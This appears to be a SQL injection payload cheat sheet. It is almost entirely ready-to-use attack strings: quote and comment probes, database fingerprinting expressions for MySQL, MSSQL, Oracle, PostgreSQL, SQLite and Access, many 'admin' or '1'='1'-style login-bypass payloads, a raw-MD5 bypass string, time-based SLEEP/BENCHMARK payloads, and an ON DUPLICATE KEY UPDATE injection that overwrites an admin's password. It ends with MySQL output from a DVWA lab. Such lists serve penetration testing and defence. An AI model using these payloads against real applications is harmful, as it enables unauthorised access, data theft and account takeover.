SQL Injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # required for XML content
%%2727
%25%27
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@[email protected]@CONNECTIONS" ,"MSSQL"],
["@@[email protected]@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Allowing an attacker to craft a string with a
true statement such as ' or 'SOMETHINGmd5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
Inject using payload:
[email protected]", "bcrypt_hash_of_qwerty"), ("[email protected]", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("[email protected]", "bcrypt_hash_of_qwerty"), ("[email protected]", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");This query will insert a row for the user “[email protected]”. It will also insert a row for the user “[email protected]”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “[email protected]” and the password “qwerty”!
select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook |
| users |
+----------------+
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+
mysql> select @@version;
+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
mysql> mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
Last modified 1yr ago